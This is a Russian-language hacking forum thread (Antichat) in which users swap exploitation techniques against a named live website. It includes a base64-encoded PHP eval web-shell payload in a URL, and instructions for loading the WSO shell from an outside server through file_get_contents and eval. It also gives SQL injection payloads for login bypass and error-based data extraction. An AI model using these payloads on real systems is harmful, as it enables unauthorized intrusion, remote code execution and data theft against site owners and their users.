ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ничего не пишет просто страница до конца не открывается и пусто

Ок, моя последняя догадка: возможно файлы читаются, но просто не отображаются в браузере. Попробуй посмотреть HTML код страницы(ctrl+f '

[QUOTE="Ganz Euler"]
Ganz Euler said:
Ок, моя последняя догадка: возможно файлы читаются, но просто не отображаются в браузере. Попробуй посмотреть HTML код страницы(ctrl+f ' я об зтом сразу подумал, HTML код просто обрывается

открыл /bin/sh но там одни крокозябры

Неудивительно, /bin/sh бинарный файл.

Если хочешь скинь сюда или в ЛС ссылку. http://go.jetswap.com/account?mode=data:;base64,PD9waHAgZXZhbCgkX0dFVFtj bWRdKTsgPz4==&cmd=phpinfo%28%29; у меня не работает, пишет down.

она уже и не работает ,вчера зря спалил

ну раз дыру закрыли, разсказую, вобще не понимаю чё вы так долго там думали,

этот кусок тут вобще не нужен был &cmd=phpinfo%28%29;

также как и PD9waHAgZXZhbCgkX0dFVFtj bWRdKTsgPz4==( в басе64 зашифрован код )

банально заливаете на другой серв код шелла, потом пишете код $a = file_get_contents("http://site.ru/wso.txt"); eval($a);

и усё, видите перед собой ваш шелл, там кругом права урезаны были, одни лишь папка была для записи cache

Есть идеи как провести иньекцию если фильтрует все символы кроме \

Executing: select * from user where username='admin\' and password='1'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1alert("invalid password");history.back(-1)

Если вставить куда нибудь сторонние символы напишет nothing to do here)

Есть варианты?

Ну смотри, ты ввёл логин admin\ и пароль 1. Получается:

select * from user where username='admin\' and password='1'

Выделенное зелёным интерпретируется как строка. Варианты например:

зайти без пароля

select * from user where username='admin\' and password=' or 1=1 -- '

Error-based эксплуатация:

select * from user where username='admin\' and password=' or 1=((select count(*) from (select 1 union select 2 union select 3)x group by concat(version(),floor(rand(0)*2))))-- '

Про "сторонние символы" не понял.